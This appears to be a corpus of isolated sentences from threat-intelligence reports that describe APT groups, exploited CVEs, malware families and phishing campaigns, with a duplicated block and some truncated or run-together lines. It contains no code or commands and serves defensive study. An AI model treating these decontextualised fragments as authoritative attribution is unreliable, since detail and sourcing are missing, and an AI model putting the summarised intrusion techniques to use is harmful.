This activity ceased in February 2016 , likely because the men who made up Scattered Canary began to focus on honing their BECtotal , Scattered Canary received more than 3 , 000 account credentials as a result of their phishing attacks .
The past iteration of SLUB spread from a unique watering hole website exploiting CVE-2018-8174 , a VBScript engine vulnerability .
This malicious site used CVE-2019-0752 , an Internet Explorer vulnerability discovered by Trend Micro’s Zero Day Initiative (ZDI) that was just patched this April .
The SLUB malware was delivered through watering hole websites that were injected with exploits for CVE-2018-8174 or CVE-2019-0752 .
In May 2018 , campaigns being conducted by SWEED began leveraging another vulnerability in Microsoft Office: CVE-2017-11882 , a remote code execution bug in Microsoft Office that is commonly observed being leveraged in malicious documents used in commodity malware distribution .
Code contained inside one of the slides triggers an exploit for CVE-2017-8759 , a remote code execution vulnerability in Microsoft .NET framework .
Zebrocy activity initiates with spearphishing operations delivering various target profilers and downloaders without the use of any 0day exploits .
On Nov14 , 2017 , FireEye observed APT34 using an exploit for the Microsoft Office vulnerability to target a government organization in the Middle East .
Google and Microsoft have already confirmed the Russian hacker group APT28 used a Flash vulnerability CVE-2016-7855 along with this kernel privilege escalation flaw to perform a targeted attack .
Kaspersky first became aware of BlackOasis’ activities in May 2016 , while investigating another Adobe Flash zero day .
Through the exploitation of the HTA handler vulnerability described in CVE-2017-1099 , the observed RTF attachments download .
In early May , the phishing lures leveraged RTF attachments that exploited the Microsoft Windows vulnerability described in CVE-2017-0199 .
As early as March 4 , 2017 , malicious documents exploiting CVE-2017-0199 were used to deliver the LATENTBOT malware .
The first , st07383.en17.docx , continues by utilizing 32 or 64 bit versions of CVE-2017-0001 to escalate privileges before executing a final JavaScript payload containing a malware implant known as SHIRIME .
This vulnerability was found in a document named Trump's_Attack_on_Syria_English.docx” .
The first , st07383.en17.docx , continues by utilizing 32 or 64 bit versions of CVE-2017-0001 to escalate privileges before executing a final JavaScript payload containing a malware implant known as SHIRIME .
This vulnerability was found in a document named Trump's_Attack_on_Syria_English.docx” .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
Despite being an older vulnerability , many threat actors continue to leverage CVE-2012-0158 to exploit Microsoft Word .
This Gorgon Group campaign leveraged spear phishing emails with Microsoft Word documents exploiting CVE-2017-0199 .
Ke3chang has also leveraged a Java zero-day vulnerability ( CVE-2012-4681 ) , as well as older , reliable exploits for Microsoft Word ( CVE-2010-3333 ) and Adobe PDF Reader ( CVE-2010-2883 ) .
Documents with the Flash exploit managed to evade static defenses and remain undetected as an exploit on VirusTotal .
Some of the documents exploited CVE-2017-0199 to deliver the payload .
Both attachments are malicious Word documents that attempt to exploit the Windows OLE Automation Array Remote Code Execution Vulnerability tracked by CVE-2014-6332 .
POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199 .
This bait document , or email attachment , appears to be a standard Word document , but is in fact an CVE-2012-0158 exploit , an executable with a double extension , or an executable with an RTLO filename , so it can execute code without the user 's knowledge or consent .
The backdoor was delivered via a malicious .rtf file that exploited CVE-2017-0199 .
The attackers stole organizations' SSL certificates associated with security appliances such as ASA to obtain VPN credentials , allowing the actors to gain access to the targeted network .
More importantly , one of these files also enables the download of TeamViewer , a remote access tool that gives threat actors remote control over the system .
The agency's hacking division freed it from having to disclose its often controversial operations to the NSA (its primary bureaucratic rival) in order to draw on the NSA's hacking capacities .
After infestation , Weeping Angel places the target TV in a 'Fake-Off' mode , so that the owner falsely believes the TV is off when it isThe CIA's Mobile Devices Branch (MDB) developed numerous attacks to remotely hack and control popular smart phones .
These techniques permit the CIA to bypass the encryption of WhatsApp , Signal , Telegram , Wiebo , Confide and Cloackman by hacking the smart phones that they run on and collecting audio and message traffic before encryption is applied .
The CIA also runs a very substantial effort to infect and control Microsoft Windows users with its malware .
As an example , specific CIA malware revealed in Year Zero is able to penetrate , infest and control both the Android phone and iPhone software that runs or has run presidential Twitter accounts .
we assess with high confidence that these incidents were conducted by APT10 also known as Stone Panda , menuPass , CVNX in an effort to gain access to networks and steal valuable intellectual property or gain commercial advantage .
Utilizing actors working for shell companies such as Huaying Haitai Science and Technology Development Co Ltd ,the MSS has conducted an unprecedented campaign , dubbed Operation Cloud Hopper , ” against managed IT service providers (MSPs) designed to steal intellectual property and enable secondary attacks against their clients .
We assess that APT10 likely compromised Visma with the primary goal of enabling secondary intrusions onto their client networks , and not of stealing Visma intellectual property .
In this same time frame , APT10 also targeted a U.S. law firm and an international apparel company , likely to gather information for commercial advantage .
Access to the networks of these third-party service providers grants the MSS the ability to potentially access the networks of hundreds , if not thousands , of corporations around the world .
In all three incidents , the attackers gained access to networks through deployments of Citrix and LogMeIn remote-access software using stolen valid user credentials .
In early 2017 , APT10 began conducting attacks against global managed IT service providers (MSPs) that granted them unprecedented access to MSPs and their customers’ networks .
This was followed by an initial exploitation , network enumeration , and malicious tool deployment on various Visma endpoints within two weeks of initial access .
They also used WinRAR and cURL for Windows , both often renamed , to compress and upload the exfiltrated files from the Visma network to the Dropbox API .
The attacker gained access to the victim’s internet-accessible Citrix systems and authenticated to them from networks associated with low-cost VPN providers owned by VPN Consumer Network .
The attackers used the same method of lateral movement by mounting the remote drive on a system , copying 1.bat to it , using task scheduler to execute the batch script , and finally , deleting the batch script .
APT10's unprecedented campaign against MSPs , alleged to have included some of the largest MSPs in the world , in order to conduct secondary attacks against their clients , grants the Chinese state the ability to potentially access the networks of hundreds (if not thousands) of corporations around the world .
The malware basically provides a remote CMD/PowerShell terminal for the attackers , enabling them to execute scripts/commands and receive the results via HTTP requests .
What lied beneath this facade was a well-engineered campaign of phishing attacks designed to steal credentials and spy on the activity of dozens of journalists , human rights defenders , trade unions and labour rights activists , many of whom are seemingly involved in the issue of migrants’ rights in Qatar and Nepal .
It appears that the attackers may have impersonated the identity of a real young woman and stole her pictures to construct the fake profile , along with a professional biography also stolen from yet another person .
Dubbed ‘Operation Sheep’ , this massive data stealing campaign is the first known campaign seen in the wild to exploit the Man-in-the-Disk vulnerability revealed by Check Point Research earlier last year .
In theory , Shun Wang Technologies could have collected a third of China’s population names and contact numbers if not more .
With no clear declaration of usage from Shun Wang , nor proper regulatory supervision , such data could circulate into underground markets for further exploit , ranging from rogue marketing , targeted telephone scams or even friend referral program abuse during November’s Single’s Day and December’s Asian online shopping fest .
In Operation Sheep’s case , Shun Wang likely harvests end user contact lists without application developer acknowledgement .
APT41 has executed multiple software supply chain compromises , gaining access to software companies to inject malicious code into legitimate files before distributing updates .
Learning to access video game production environments enabled APT41 to develop the tactics , techniques , and procedures (TTPs) that were later leveraged against software companies to inject malicious code into software updates .
We believe that like other Chinese espionage operators , APT41 has moved toward strategic intelligence collection and establishing access , but away from direct intellectual property theft .
In June 2018 , APT41 sent spear-phishing emails using an invitation lure to join a decentralized gaming platform linked to a cryptocurrency service (Figure 5) that had positioned itself as a medium of exchange for online games and gambling sites .
We suggest that APT41 sought to target in-game currency but found they could not monetize the specific targeted game , so the group resorted to ransomware to attempt to salvage their efforts and profit from the compromise .
In addition to the aforementioned post-exploitation tools , the actors used these webshells to upload legitimate executables that they would use DLL sideloading to run a malicious DLL that has code overlaps with known Emissary Panda attacks .
In April 2019 , several national security organizations released alerts on CVE-2019-0604 exploitation , including the Saudi Arabian National Cyber Security Center and the Canadian Center for Cyber Security .
Both of these alerts discussed campaigns in which actors used the CVE-2019-0604 to exploit SharePoint servers to install the China Chopper webshell .
The other overlapping files are tools used by the adversary to locate other systems on the network (etool.exe) , check to see if they are vulnerable to CVE-2017-0144 (EternalBlue) patched in MS07-010 (checker1.exe) and pivot to them using remote execution functionality offered by a tool similar to PsExec offered by Impacket (psexec.exe) .
The Emissary Panda threat group loaded the China Chopper webshell onto SharePoint servers at two Government organizations in the Middle East , which we believe with high confidence involved exploiting a remote code execution vulnerability in SharePoint tracked in CVE-2019-0604 .
The files uploaded to this webshell included the same compiled python script that would scan remote systems that were vulnerable to CVE-2017-0144 (EternalBlue) that we saw uploaded to the other errr.aspx webshell .
We believe the actors pivoted to other systems on the network using stolen credentials and by exploiting the CVE-2017-0144 (EternalBlue) vulnerability patched in MS17-010 .
To deliver their malware , the cyber criminals use spearphishing emails with various types of attachments: MS Office documents or spreadsheet files exploiting some known vulnerability like CVE-2017-11882 , or documents with Ole2Link and SCT .
This activity ceased in February 2016 , likely because the men who made up Scattered Canary began to focus on honing their BECtotal , Scattered Canary received more than 3 , 000 account credentials as a result of their phishing attacks .
The past iteration of SLUB spread from a unique watering hole website exploiting CVE-2018-8174 , a VBScript engine vulnerability .
This malicious site used CVE-2019-0752 , an Internet Explorer vulnerability discovered by Trend Micro’s Zero Day Initiative (ZDI) that was just patched this April .
The SLUB malware was delivered through watering hole websites that were injected with exploits for CVE-2018-8174 or CVE-2019-0752 .
In May 2018 , campaigns being conducted by SWEED began leveraging another vulnerability in Microsoft Office: CVE-2017-11882 , a remote code execution bug in Microsoft Office that is commonly observed being leveraged in malicious documents used in commodity malware distribution .
Code contained inside one of the slides triggers an exploit for CVE-2017-8759 , a remote code execution vulnerability in Microsoft .NET framework .
Zebrocy activity initiates with spearphishing operations delivering various target profilers and downloaders without the use of any 0day exploits .
On Nov14 , 2017 , FireEye observed APT34 using an exploit for the Microsoft Office vulnerability to target a government organization in the Middle East .
Google and Microsoft have already confirmed the Russian hacker group APT28 used a Flash vulnerability CVE-2016-7855 along with this kernel privilege escalation flaw to perform a targeted attack .
Kaspersky first became aware of BlackOasis’ activities in May 2016 , while investigating another Adobe Flash zero day .
Through the exploitation of the HTA handler vulnerability described in CVE-2017-1099 , the observed RTF attachments download .
In early May , the phishing lures leveraged RTF attachments that exploited the Microsoft Windows vulnerability described in CVE-2017-0199 .
As early as March 4 , 2017 , malicious documents exploiting CVE-2017-0199 were used to deliver the LATENTBOT malware .
The first , st07383.en17.docx , continues by utilizing 32 or 64 bit versions of CVE-2017-0001 to escalate privileges before executing a final JavaScript payload containing a malware implant known as SHIRIME .
This vulnerability was found in a document named Trump's_Attack_on_Syria_English.docx” .
The first , st07383.en17.docx , continues by utilizing 32 or 64 bit versions of CVE-2017-0001 to escalate privileges before executing a final JavaScript payload containing a malware implant known as SHIRIME .
This vulnerability was found in a document named Trump's_Attack_on_Syria_English.docx” .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
Despite being an older vulnerability , many threat actors continue to leverage CVE-2012-0158 to exploit Microsoft Word .
This Gorgon Group campaign leveraged spear phishing emails with Microsoft Word documents exploiting CVE-2017-0199 .
Ke3chang has also leveraged a Java zero-day vulnerability ( CVE-2012-4681 ) , as well as older , reliable exploits for Microsoft Word ( CVE-2010-3333 ) and Adobe PDF Reader ( CVE-2010-2883 ) .
Documents with the Flash exploit managed to evade static defenses and remain undetected as an exploit on VirusTotal .
Some of the documents exploited CVE-2017-0199 to deliver the payload .
Both attachments are malicious Word documents that attempt to exploit the Windows OLE Automation Array Remote Code Execution Vulnerability tracked by CVE-2014-6332 .
POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199 .
This bait document , or email attachment , appears to be a standard Word document , but is in fact an CVE-2012-0158 exploit , an executable with a double extension , or an executable with an RTLO filename , so it can execute code without the user 's knowledge or consent .
The backdoor was delivered via a malicious .rtf file that exploited CVE-2017-0199 .
Due to these changes without a new date string , we believe the date codes are used for campaign tracking rather than a Bookworm build identifier .
In addition to built-in functionalities , the operators of Careto can upload additional modules which can perform any malicious task .
The CONFUCIUS_B executable is disguised as a PowerPoint presentation , using a Right-To-Left-Override ( RTLO ) trick and a false icon .
The Android version , for instance , can steal SMS messages , accounts , contacts , and files , as well as record audio .
If a bot was installed on a network that was of interest to the hacking group , this bot was then used to upload one of the remote access programs .
This document , written in Vietnamese , appears to be reviewing and discussing best practices for teaching and researching scientific topics .
There is the exploit code and malware used to gain access to systems , the infrastructure that provides command and control to the malware operator , and the human elements – developers who create the malware , operators who deploy it , and analysts who extract value from the stolen information .
This file requires the target to attempt to open the .lnk file , which redirects the user to a Windows Scripting Component ( .wsc ) file , hosted on an adversary-controlled microblogging page .
Upon successful exploitation , the attachment will install the trojan known as NetTraveler using a DLL side-loading attack technique .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
wuaupdt.exe is a CMD backdoor ,which can receive and execute CMD commands sent from C2 .
As described in the infection flow , one of the first uses of the AutoHotKey scripts is to upload a screenshot from the compromised PC .
The RAT , however , had a multitude of functionalities (as listed in the table below) such as to download and execute , compress , encrypt , upload , search directories , etc .
Bemstour is specifically designed to deliver a variant of the DoublePulsar backdoor .
DoublePulsar is then used to inject a secondary payload , which runs in memory only .
The detection evasion techniques we observed in the Okrum malware include embedding the malicious payload within a legitimate PNG image , employing several anti-emulation and anti-sandbox tricks , as well as making frequent changes in implementation .
The diagram below illustrates how we believe the actors behind the Sea Turtle campaign used DNS hijacking to achieve their end goals .
If the user enables macro to open the xlsm file , it will then drop the legitimate script engine AutoHotkey along with a malicious script file .
Its configuration utilities like Margarita allows the NOC (Network Operation Center) to customize tools based on requirements from 'Fine Dining' questionairies .
Honeycomb toolserver receives exfiltrated information from the implant; an operator can also task the implant to execute jobs on the target computer , so the toolserver acts as a C2 (command and control) server for the implant .
UMBRAGE components cover keyloggers , password collection , webcam capture , data destruction , persistence , privilege escalation , stealth , anti-virus (PSP) avoidance and survey techniques .
'Improvise' is a toolset for configuration , post-processing , payload setup and execution vector selection for survey/exfiltration tools supporting all major operating systems like Windows (Bartender) , MacOS (JukeBox) and Linux (DanceFloor) .
This sample , similar to other Trochilus samples , was deployed using a DLL sideloading method utilizing three files , uploaded to the same folder on the victim machine as identified in US-CERT advisory TA17-117A last revised on December 20 , 2018 .
The configuration file then loads the Trochilus payload into memory by injecting it into a valid system process .
Insikt Group analysis of network metadata to and from the VPN endpoint IPs revealed consistent connectivity to Citrix-hosted infrastructure from all eight VPN endpoint IPs starting on August 17 , 2018 — the same date the first authenticated login to Visma’s network was made using stolen credentials .
This powerful backdoor can receive commands from the attackers , enabling it to exfiltrate files from the system it is running on , execute additional scripts , delete files , and more .
In addition , by using VBA2Graph , we were able to visualize the VBA call graph in the macros of each document .
The JavaScript forces visiting web browsers to collect and send (via a POST request) web browser , browser version , country of origin , and IP address data to the attacker controlled server jquerycodedownload.live/check.aspx” .
The group has repeatedly used social media , particularly LinkedIn , to identify and interact with employees at targeted organizations , and then used weaponized Excel documents to deliver RATs such as PupyRAT .
CTU researchers conclude that COBALT GYPSY created the persona to gain unauthorized access to targeted computer networks via social engineering .
The persistent use of social media to identify and manipulate victims indicates that COBALT GYPSY successfully achieves its objectives using this tactic .
COBALT GYPSY 's continued social media use reinforces the importance of recurring social engineering training .
The report specifies the Magic Hound targeted political , military and defense industry in the US , UK and Israel .
PwC UK and BAE Systems , working closely with industry and government , have uncovered a new , unparallelled campaign which we refer to as Operation Cloud Hopper .
By targeting high-tech and manufacturing operations in Japan and Taiwan , DragonOK may be acquiring trade secrets for a competitive economic advantage .
Targeted sectors of Molerats include governmental and diplomatic institutions , including embassies ; companies from the aerospace and defence Industries ; financial institutions ; journalists ; software developers .
FIN7 is a threat actor group that is financially motivated with targets in the restaurant , services and financial sectors .
Over the past year , we've seen the group extensively targeting a wide gamut of entities in various sectors , including Governments , Academy , Crypto-Currency , Telecommunications and the Oil sectors .
The group has focused mainly on governmental targets in Iraq and Saudi Arabia , according to past telemetry .
The new spear-phishing docs used by MuddyWater rely on social engineering to persuade users to enable macros .
Given the use of lure documents designed with social engineering in mind , it is likely that MuddyWater use phishing or spam to target users who are unaware of these documents ' malicious nature .
The oil and gas infrastructure nexus observed in connection with greensky27.vicp.net and other Unit 78020 ( Naikon ) infrastructure suggests targeting patterns supportive of the PRC 's strategic interests over energy resources within the South China Sea and Southeast Asia .
These attacks have involved social engineering , spearphishing attacks , exploitation of Microsoft Windows operating systems vulnerabilities , Microsoft Active Directory compromises , and the use of remote administration tools ( RATs ) in targeting and harvesting sensitive competitive proprietary operations and project-financing information with regard to oil and gas field bids and operations .
Night Dragon 's attacks have involved social engineering , spearphishing attacks , exploitation of Microsoft Windows operating systems vulnerabilities , Microsoft Active Directory compromises , and the use of remote administration tools ( RATs ) in targeting and harvesting sensitive competitive proprietary operations and project-financing information with regard to oil and gas field bids and operations .
It appears that the group values hardcoded into the malware is associated with the targeted organization , as several are Saudi Arabian organizations within the telecommunications and defense industries .
Should a user enable this content , the attackers are then able to use the DDE protocol to remotely execute commands in memory on the victim 's system .
These VNC exectuables would either be included in the SFX file or downloaded by the batch script .
Our investigation revealed an attack where the GCMAN group then planted a cron script into bank 's server , sending financial transactions at the rate of $200 per minute .
The GCMAN group used an MS SQL injection in commercial software running on one of bank 's public web services , and about a year and a half later , they came back to cash out .
Gorgon Group used common URL shortening services to download payloads .
Gorgon used numerous decoy documents and phishing emails , both styles of attacks lacked overall sophistication .
This Gorgon Group campaign leveraged spear phishing emails with Microsoft Word documents exploiting CVE-2017-0199 .
This malicious document contains a Visual Basic macro that dropped and executed an upgraded version of the implant known as SYSCON , which appeared in 2017 in malicious Word documents as part of several campaigns using North Korea–related topics .
All contain the same Visual Basic macro code and author name as Honeybee .
Ke3chang attackers have used spear-phishing emails .
Traditionally , the Ke3chang attackers have used spear-phishing emails with either a malware attachment or a link to a malicious download .
DLL hijacking techniques have been seen in the past with the APT15 group .
This new campaign , dubbed HaoBao , resumes Lazarus ' previous phishing emails , posed as employee recruitment , but now targets Bitcoin users and global financial organizations .
This new campaign , dubbed HaoBao , resumes Lazarus ' previous phishing emails , posed as employee recruitment , but now targets financial organizations .
Beginning in 2017 , the Lazarus group heavily targeted individuals with spear phishing emails impersonating job recruiters which contained malicious documents .
Therefore , it is possible that additional HIDDEN COBRA malware may be present on network infrastructure compromised with Volgmer .
Kaspersky believes both Shamoon and StoneDrill groups are aligned in their interests , but are two separate actors , which might also indicate two different groups working together .
Indeed , Kaspersky started tracking the BlueNoroff actor a long time ago .
Eset has published a report on the state-sponsored Russian turla apt group .It seems Eset has discovered and published on a new malware module created by Turla .
The majority of NewsBeef targets that Kaspersky researchers have observed are located in SA .
While not directly overlapping , this potential infrastructure link is interesting , as Vixen Panda has previously displayed TTPs similar to COMMENT PANDA , and has extensively targeted European entities .
Given the evidence outlined above , CrowdStrike attributes the PUTTER PANDA group to PLA Unit 61486 within Shanghai , China with high confidence .
Several RATs are used by PUTTER PANDA .
The most common of these , the 4H RAT and the 3PARA RAT , have been documented previously by CrowdStrike in previous CrowdStrike Intelligence reporting .
This analysis will be revisited below , along with an examination of two other PUTTER PANDA tools : pngdowner and httpclient .
Other CrowdStrike reporting describes a dropper used by PUTTER PANDA to install the 4H RAT .
This dropper uses RC4 to decrypt an embedded payload from data in an embedded resource before writing the payload to disk and executing it .
It contains a Word document in plaintext ( written to Bienvenue_a_Sahaja_Yoga_Toulouse.doc ) , along with an executable ( Update.exe ) and DLL ( McUpdate.dll ) .
PUTTER PANDA are a determined adversary group who have been operating for several years , conducting intelligence-gathering operations with a significant focus on the space sector .
Research presented in this report shows that the PUTTER PANDA operators are likely members of the 12th Bureau , 3rd General Staff Department ( GSD ) of the People 's Liberation Army ( PLA ) , operating from the unit 's headquarters in Shanghai with MUCD 61486 .
PUTTER PANDA is likely to continue to aggressively target Western entities that hold valuable information or intellectual property relevant to these interests .
Mandiant 's APT1 report was the first to change the game , and paved the way for private security companies to expose advanced threat actors en masse .
's APT1 report was the first to change the game , and paved the way for private security companies to expose advanced threat actors en masse .
In 2014 , our colleagues at Crowdstrike wrote an exposé about a long-standing Chinese APT threat group they self-named Putter Panda , which Mandiant / FireEye refers to as APT2 .
In 2014 , our colleagues at Crowdstrike wrote an expos about a long-standing Chinese APT threat group they self-named Putter Panda , which Mandiant / FireEye refers to as APT2 .
This threat group attacked defense contractors and aerospace companies .
The document exploited CVE-2012-0158 and will decode and write an executable to disk upon infection .
Unit 42 believes this group is previously unidentified and therefore have we have dubbed it " RANCOR " .
The Rancor group 's attacks use two primary malware families which we describe in depth later in this blog and are naming DDKONG and PLAINTEE .
We identified decoy files which indicate these attacks began with spear phishing messages but have not observed the actual messages .
Based on this , we believe the Rancor attackers were targeting political entities .
Additionally , these decoy documents are hosted on legitimate websites including a government website belonging to the Cambodia Government and in at least once case , Facebook .
Our Investigation into both clusters further showed that they were both involved in attacks targeting organizations in South East Asia .
We observed DDKONG in use between February 2017 and the present , while PLAINTEE is a newer addition with the earliest known sample being observed in October 2017 .
The RANCOR campaign represents a continued trend of targeted attacks against entities within the South East Asia region .
They are interested in users of remote banking systems ( RBS ) , mainly in Russia and neighboring countries .
That this group is mostly targeting businesses is apparent from the processes they are looking for on a compromised system .
While both RTM and Buhtrap are looking for a quite similar process list , the infection vectors are quite different .
This group has used a large array of infection vectors , mostly revolving around drive-by downloads and spam .
They are both targeting businesses using accounting software , are fingerprinting systems of interest similarly , are looking for smart card readers , and finally , they deploy an array of malicious tools to spy on their victims .
In particular , we will focus on the samples SHA-1 AA0FA4584768CE9E16D67D8C529233E99FF1BBF0 and 48BC113EC8BA20B8B80CD5D4DA92051A19D1032B .
Despite its known weaknesses , the RC4 algorithm is regularly used by malware authors .
Based on the use of the relatively unique PLAINTEE malware , the malware 's use of the same file paths on in each cluster , and the similar targeting , we have grouped these attacks together under the RANCOR campaign moniker .
Bdo is the Russian translation for RBS ( Remote Banking System ) so it is clear that RBS is a target for this malware .
Other groups , such as Buhtrap , Corkow and Carbanak , were already known to target and successfully steal money from financial institutions and their customers in Russia .
Our research on the RTM malware shows that the Russian banking system is still a target of choice for criminals .
Since last week , iSIGHT Partners has worked to provide details on the power outage in Ukraine to our global customers .
Shortly after releasing information on their espionage operations , our friends at TrendMicro found evidence that the operators were not only conducting classic strategic espionage but targeting SCADA systems as well .
iSiGHT has tracked Sandworm Team for some time - and we publicly reported on some of their activities in October 2014 , when we discovered their use of a zero-day exploit , CVE-2014-4114 .
Sandworm Team went to ground shortly after being exposed in October of 2014 , and malware with Dune references ( the genesis for the ' Sandworm ' moniker ) which we had previously used to track them disappeared entirely .
However , the unique malware variant , BlackEnergy 3 , reemerged in Ukraine early in 2015 , where we had first found Sandworm Team .
iSiGHT Partners has tracked Sandworm Team for some time - and we publicly reported on some of their activities in October 2014 , when we discovered their use of a zero-day exploit , CVE-2014-4114 .
SIGHT Partners is still collecting information on the mechanics of the power outage and what role the KillDisk malware played in the greater event .
Last week iSIGHT 's sources provided us with the same KillDisk malware published by Rob Lee of SANS and Dragos Security .
The aggressive nature of Sandworm Team 's previous activity in Europe and the United States exposed their interest in targeting critical systems and indicated preparation for cyber attack .
This year we are going to be releasing a monthly blog post introducing the " Threat Actor of the Month " , complete with detailed background information on that actor .
VOODOO BEAR is a highly advanced adversary with a suspected nexus to the Russian Federation .
Destructive malware used by VOODOO BEAR includes a wiper called PassKillDisk .
Some tools used by this actor — specifically BlackEnergy and GCat — have been adapted from commodity malware .
This adversary has been identified leveraging custom-developed plugins for versions 2 and 3 of the commodity malware Black Energy to target entities associated with energy , industrial control systems and SCADA , government , and media for espionage and destructive purposes , since at least 2011 .
A commonly observed element of implants from VOODOO BEAR — at least until this information was made public in late 2014 — were references in the malware to the 1965 science fiction novel Dune , by Frank Herbert .
This adversary has been identified leveraging custom-developed plugins for versions 2 and 3 of the commodity malware Black Energy to target entities associated with energy , government , and media for espionage and destructive purposes , since at least 2011 .
these characteristics all highlight the likelihood that VOODOO BEAR operates in alignment with Russian state interests .
This adversary displays a particular focus on targeting entities in the Ukraine and is believed to be behind the Ukrainian energy sector attacks that caused widespread power outages in late 2015 .
VOODOO BEAR appears to be integrated into an organization that also operates or tasks multiple pro-Russian hacktivist entities .
In the summer of 2014 , BlackEnergy caught our attention when we noticed that samples of it were now tailored to target Ukrainian government institutions .
Related or not , one thing is certain : the actor ( s ) using these customized BlackEnergy malware are intent on stealing information from the targets .
In this paper we focus only on BlackEnergy samples known to be used specifically by the actors we identify as Quedagh , who seem to have a particular interest in political targets .
Special focus will be on the samples that were used in targeted attacks against Ukrainian government organizations earlier this year .
Although they may have started much earlier , the earliest BlackEnergy sample we could attribute to the Quedagh gang is from December 14 , 2010 .
We warned our clients of new features suggesting an increased focus on European targets - though verification of targets was not possible at the time .
Sandworm Team may have opted for a ' hide in plain sight ' approach to evade detections from rootkit scanners , such as GMER and RootkitRevealer , that checks for system anomalies .
Table 3 ( above ) summarizes the commands supported by the variants used in the attack against Ukrainian government organizations .
In the summer of 2014 , we noted that certain samples of BlackEnergy malware began targeting Ukranian government organizations for information harvesting .
These samples were identified as being the work of one group , referred to in this document as " Quedagh " , which has a history of targeting political organizations .
The attacks we attribute to Scarlet Mimic have primarily targeted Uyghur and Tibetan activists as well as those who are interested in their causes .
To infect individuals with access to the data the actors desire , Scarlet Mimic deploys both spear-phishing and watering hole ( strategic web compromise ) attacks .
As with many other attackers who use spear-phishing to infect victims , Scarlet Mimic makes heavy use of " decoy " files .
The most recent Scarlet Mimic attacks we have identified were conducted in 2015 and suggest the group has a significant interest in both Muslim activists and those interested in critiques of the Russian government and Russian President Vladimir Putin .
Using these tactics Scarlet Mimic can directly target previously identified individuals ( spear phishing ) as well as unidentified individuals who are interested in a specific subject ( watering hole ) .
This group has been conducting attacks for at least four years using a backdoor Trojan that has been under active development .
Based on analysis of the data and malware samples we have collected , Unit 42 believes the attacks described herein are the work of a group or set of cooperating groups who have a single mission , collecting information on minority groups who reside in and around northwestern China .
Attacks launched by this group were publicly exposed on 2013 in a Trend Micro report about the FakeM Trojan .
We will also provide detailed analysis of the latest variants of the malware they deploy ( known as FakeM ) as well as other associated tools that allow Scarlet Mimic to target Android and OS X devices .
In the past , Scarlet Mimic has primarily targeted individuals who belong to these minority groups as well as their supporters , but we've recently found evidence to indicate the group also targets individuals working inside government anti-terrorist organizations .
We also know Scarlet Mimic uses a number of toolkits to create documents that contain exploit code to install the FakeM payload on a compromised system .
Unit 42 tracks the toolkits delivering FakeM under the names MNKit , WingD and Tran Duy Linh .
In July of 2015 , we identified a full e-mail uploaded to an antivirus scanning service that carried a Scarlet Mimic exploit document .
We are aware of one case where Scarlet Mimic broke from the spear-phishing pattern described above .
In 2013 , the group deployed a watering hole attack , also known as a strategic web compromise to infect victims with their backdoor .
FakeM 's functional code is shellcode-based and requires another Trojan to load it into memory and execute it .
First discussed in January 2013 in a Trend Micro whitepaper , FakeM is a Trojan that uses separate modules to perform its functionality .
We end this section with a discussion on tools related to FakeM and used by Scarlet Mimic .
Microsoft patched this vulnerability in September 2012 , suggesting that this watering hole attack used an older vulnerability , which aligns with the threat groups continued use of older vulnerabilities in their spear-phishing efforts .
Microsoft patched this vulnerability in September 2012 , suggesting that this watering hole attack used an older vulnerability , which aligns with Scarlet Mimic continued use of older vulnerabilities in their spear-phishing efforts .
Based on the timeline , it appears that the actors were actively developing several of the loaders at the same time from 2009 until the early months of 2014 .
Unit 42 tracks this mobile Trojan as MobileOrder , as the authors specifically refer to commands within the app as orders .
There are also infrastructure ties between some FakeM variants and older activity using Trojans such as Elirks , Poison Ivy , and BiFrost , which were used in attacks as old as 2009 .
There is some infrastructure overlap in the C2 servers used by almost all of the FakeM variants , as well other Trojans such as MobileOrder , Psylo , and CallMe .
Trend Micro published their analysis of the FakeM Trojan on January 17 , 2013 that discussed the original variant of FakeM .
The primary source of data used in this analysis is Palo Alto Networks WildFire , which analyzes malware used in attacks across the world .
Scarlet Mimic also uses the infamous HTRAN tool on at least some of their C2 servers .
Scarlet Mimic primarily deploys spear-phishing e-mails to infect its targets , but was also responsible for a watering hole attack in 2013 .
Kaspersky Lab has produced excellent research on Scarlet Mimic group .
Actors will run HTRAN on a server and configure their malware to interact with that server ; however , the actor will configure HTRAN to forward traffic to another server where the actual C2 server exists .
The information discovered by Unit 42 and shared here indicates Scarlet Mimic is likely a well-funded and skillfully resourced cyber adversary .
Scarlet Mimic has carried out attacks using both spear-phishing and watering holes since at least 2009 with increasingly advanced malware , and has deployed malware to attack multiple operating systems and platforms .
This time I'm going to focus on malicious CHM files used by Silence APT .
If you haven't heard about it for some reason , I would recommend to read this detailed report by Group-IB , as this APT attacks not only Russian banks , but also banks in more than 25 countries .
The group primarily deploys spear-phishing e-mails to infect its targets , but was also responsible for a watering hole attack in 2013 .
The group uses legitimate administration tools to fly under the radar in their post-exploitation phase , which makes detection of malicious activity , as well as attribution more complicated .
On January 12 , 2016 , Cylance published a blog linking an exploit document to the group Mandiant refers to as APT2 and CrowdStrike as " Putter Panda " .
In 2016 , Unit 42 launched an unprecedented analytic effort focused on developing a modern assessment of the size , scope and complexity of this threat .
In 2014 , Unit 42 released a report titled " 419 Evolution " that documented one of the first known cases of Nigerian cybercriminals using malware for financial gain .
A few months later , in February 2017 , the FBI published a press release revising its estimates and stating that " Since January 2015 , there has been a 1,300 percent increase in identified exposed losses , now totaling over $3 billion " Recognizing the significance of this threat group , Unit 42 continues to track the evolution of Nigerian cybercrime under the code name SilverTerrier .
In the 2016 Internet Crime Report published by the FBI , BEC was specifically highlighted as a " Hot Topic " , having been attributed to more than US$360 million in losses and gaining status as its own category of attack .
Recognizing the significance of this threat group , Unit 42 continues to track the evolution of Nigerian cybercrime under the code name SilverTerrier .
Pony is a fairly common malware family that has existed in various forms since 2012 , with our first indications of Nigerian use occurring in August 2014 .
Of the four , KeyBase stands out due to its rapid rise in popularity , with a peak deployment of 160 samples per month and usage by 46 separate SilverTerrier actors , followed by a fairly rapid decline .
NetWire , DarkComet , NanoCore , LuminosityLink , Remcos and Imminent Monitor are all designed to provide remote access to compromised systems .
Unit 42 analyzed the use of these six malware families and found that Nigerian actors are currently producing an average of 146 unique samples of malware per month ( see Figure 6 ) .
